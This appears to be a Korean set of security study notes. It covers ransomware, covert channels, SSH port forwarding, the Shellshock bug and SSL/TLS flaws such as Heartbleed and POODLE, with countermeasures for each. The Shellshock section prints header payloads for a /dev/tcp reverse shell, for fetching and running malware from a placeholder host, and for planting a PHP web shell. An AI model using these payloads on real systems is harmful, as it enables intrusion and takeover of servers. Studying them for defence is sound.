랜섬웨어	
이용자의 데이터를 암호화하고 복구를 위한 금전을 요구하는 악성코드	
랜섬웨어 감염경로	**설명**
신뢰할 수 없는 사이트	단순한 홈페이지 방문만으로도 감염
스팸메일 및 스피어피싱	출처가 불분명한 이메일 수신 시 파일 또는 URL 링크를 통해 유포
파일공유 사이트	P2P 사이트를 통해 파일을 다운로드 받고 실행할 경우에 감염
사회관계망 서비스	SNS 에 올라온 단축 URL 및 사진을 이용하여 랜섬웨어를 유포
랜섬웨어 피해 예방	**설명**
최신 패치 적용	모든 소프트웨어는 최신 버전으로 업데이트 - 백신 소프트웨어를 설치하고 최신 버전으로 업데이트
실행 주의	출처가 불명확한 이메일과 링크는 실행하지 않음 - 파일 공유 사이트 등에서 파일 다운로드 및 실행에 주의
자료 백업	중요 자료는 정기적으로 별도의 매체 클라우드 등에 백업

tishac.tistory.com

정보유출	설명
은닉 채널	엔티티가 허가되지 않는 방식으로 정보를 받는 방법이며 이것은 보안 메커니즘에 의해 통제되지 않는 정보 흐름으로 이런 방법으로 정보를 수신하는 것은 시스템의 보안 정책을 명백하게 위반하는 것
은닉채널 대응방안	로그분석과 HIDS 탐지, 통신대역폭에 대한 엄격한 제한, 시스템 자원 분석
방사	공격자들이 정보를 훔치기 위해 사용하는 방법으로 컴퓨터와 장치로부터 방출되는 전기적 신호를 가로채는 방법이며 이를 통해 해당 전기적 신호를 발생시킨 원래 데이터를 알아낼 수 있음
방사 대응방안	템페스트, 백색 잡음, 통제 구역

SSH 포트 포워딩	
SSH 클라이언트가 SSH 서버에 접속하여 만든 연결을 다른 어플리케이션이 이용하여 통신할 수 있는 기술	
포트 포워딩 방식	**설명**
로컬 포트 포워딩	웹 브라우저가 접속할 리스닝 포트를 SSH 클라이언트 호스트에 생성하여 포워딩하는 방식
1. SSH 클라이언트가 SSH 서버에 접속하여 연결이 생성	
2. 웹 브라우저는 SSH 클라이언트 호스트에 생성된 리스닝 포트에 접속	
3. SSH 연결을 통해 최종 목적지인 어플리케이션 서버와 통신	

리모트 포트 포워딩	웹 브라우저가 접속할 리스닝 포트를 SSH 서버 호스트에 생성하여 포워딩하는 방식
1. SSH 클라이언트가 SSH 서버에 접속하여 연결이 생성	
2. 웹 브라우저는 SSH 서버 호스트에 생성된 리스닝 포트에 접속	
3. SSH 연결을 통해 최종 목적지인 어플리케이션 서버와 통신	

Shell Shock 취약점	
bash 가 제공하는 함수 선언기능인 () { 의 함수 선언문 끝에 임의의 명령어를 추가로 삽입할 경우 bash 가 함수문에서 처리를 멈추지 않고 추가로 삽입한 명령어를 계속 실행하기 때문에 발생하는 취약점 - OpenSSL 하트블리드 취약점 이후 취약점에 이름을 짓는 유행에 따라 쉘쇼크라 명명 - CGI 는 웹서버에 요청된 페이지를 응용 프로그램에 전달하고 처리하기 위한 인터페이스이며, 쉘쇼크 취약점에 의해 영향을 받는 프로그램들 중 가장 대표적임	
명령문 유형	**설명**
리버스 쉘 연결 유형	User-Agent 헤더필드에 () { : ; } 과 리버스 쉘 연결을 위한 명령문을 삽입하여 해당 명령문이 실행되도록 함 - User-Agent:() { : ; }; /bin/bash > /dev/tcp/[목적지 IP]/[목적지 Port] 0<&1
악성코드 다운로드 유형	Accept-Encoding 헤더필드에 () { : ; } 과 악성코드 다운로드를 위한 명령문을 삽입하여 해당 명령문이 실행되도록 함 - Accept-Encoding:() { : ; }; /bin/bash -c "/usr/bin/wget -O /tmp/xyz http://[악성코드 유포지]/malware; /bin/chmod 777 /tmp/xyz; /tmp/xyz; /bin/rm -rf /tmp/xyz"
웹쉘 생성 유형	User-Agent 헤더필드에 () { : ; } 과 웹쉘 생성을 위한 명령문을 삽입하여 해당 명령문이 실행되도록 함 - User-Agent:() { : ; }; echo "<?₩$cmd=₩$_REQUEST[₩"cmd₩"]; if(₩$cmd != ₩"₩"){print shell_exec(₩$cmd);} ?>" ?../htmp/x.php
대응방안	**설명**
버전 관리	취약한 버전의 bash 를 사용하고 있는 경우 최신 버전으로 업데이트
CGI 서비스 사용 유무	해당 서비스를 사용하지 않는 경우 서비스를 중지하거나 삭제
보안장비	네트워크 보안장비 단에서 공격 시그너처(content:"() {"; http_header;)를 등록해서 차단

tishac.tistory.com

SSL/TLS 취약점	
SSL/TLS 프로토콜의 보안 결함을 이용한 데이터 탈취 또는 중간자 공격으로 HTTPS 기반 웹 서비스에서 민감한 데이터가 유출될 수 있는 취약점	
취약점 종류	**설명**
HeartBleed	통신 구간 암호화를 위해 많이 사용하는 OpenSSL 라이브러리의 하트비트 확장 모듈의 버그로 인하여 발생한 취약점 - 하트비트 확장 모듈에서 클라이언트 하트비트 요청 메시지를 처리할 때 데이터 검증을 수행하지 않음 - 시스템 메모리에 저장된 64KB 크기의 데이터를 외부에서 아무런 제한 없이 탈취할 수 있음
HeartBleed 대응방안	버전관리 : 취약점이 존재하지 않는 OpenSSL 버전으로 업데이트

	보안장비 : 취약점 공격 탐지 및 차단 룰/패턴을 적용
	서비스 관리 : 인증서를 재발급, 사용자들의 비밀번호 재설정을 유도
FREAK	SSL 을 통해 강제로 취약한 RSA 로 다운그레이드시킬 수 있는 취약점 - OpenSSL s3_clnt.c 의 ssl3_get_key_exchage 함수에서 발생 - MITM 공격을 통해 512 비트 RSA 로 다운그레이드 시켜 정보를 유출
FREAK 대응방안	버전관리 : 해당 취약점에 영향을 받는 OpenSSL 버전 사용 시 최신 버전으로 업그레이드
	사용자 관리 : 취약점에 영향을 받는 OS 및 브라우저는 업그레이드
LogJam	중간자 공격을 통해 사용자와 웹, 또는 이메일 서버 간의 TLS 통신을 다운그레이드 시킬 수 있는 취약점 - TLS 프로토콜의 취약점으로 공격자가 임시 Diffie-Hellman 키교환을 사용 - TLS 연결을 512 비트 수출 버전 암호화로 다운그레이드할 수 있음
LogJam 대응방안	사용자 관리 : 클라이언트는 최신의 브라우저를 사용
	Export 키 제한 : Export 용 cipher suite 을 사용하지 않음
	안전한 cipher suite 사용 : 2048bit 의 디피-헬만 그룹을 생성하거나 이러한 위험이 없는 타원 곡성 디피-헬만을 사용
POODLE	SSL/TLS 협상 시 버전 다운그레이드 공격을 통해 SSLv3.0 을 사용하도록 강제한 후 MITM 공격을 통해 암호화되어 송수신되는 쿠키 정보나 데이터를 추출 - SSLv3.0 의 블록 암호화 기법인 CBC 모드를 사용하는 경우 발생하는 패딩된 암호 블록이 MAC 에 의해 보호되지 않는 취약점
1. 클라이언트에서 TLS1.2 로 서버 연결 요청 : 공격자 연결 거부	
2. 클라이언트에서 TLS1.1 로 서버 연결 요청 : 공격자 연결 거부	
3. 클라이언트에서 TLS1.0 로 서버 연결 요청 : 공격자 연결 거부	
4. 클라이언트에서 SSL3.0 로 서버 연결 요청 : 공격자는 서버 연결을 허용한 후 스니핑 수행	
POODLE 대응방안	SSL 설정 : SSLv3.0 을 사용하지 않도록 웹서버 SSL 설정
	버전관리 : OpenSSL 을 최신 버전으로 업그레이드
DROWN	SSLv2.0 을 사용하는 서버에 악성 패킷을 보내 인증서 키값을 알아내고 키값을 이용해 암호화된 통신내용을 복호화해 주요 정보를 탈취 - SSLv2.0 취약점을 악용한 교차 프로토콜 공격
DROWN 대응방안	SSL 설정 : SSLv2.0 을 사용하지 않도록 웹서버 SSL 설정
	버전관리 : OpenSSL 을 최신 버전으로 업그레이드

usnacusstory.com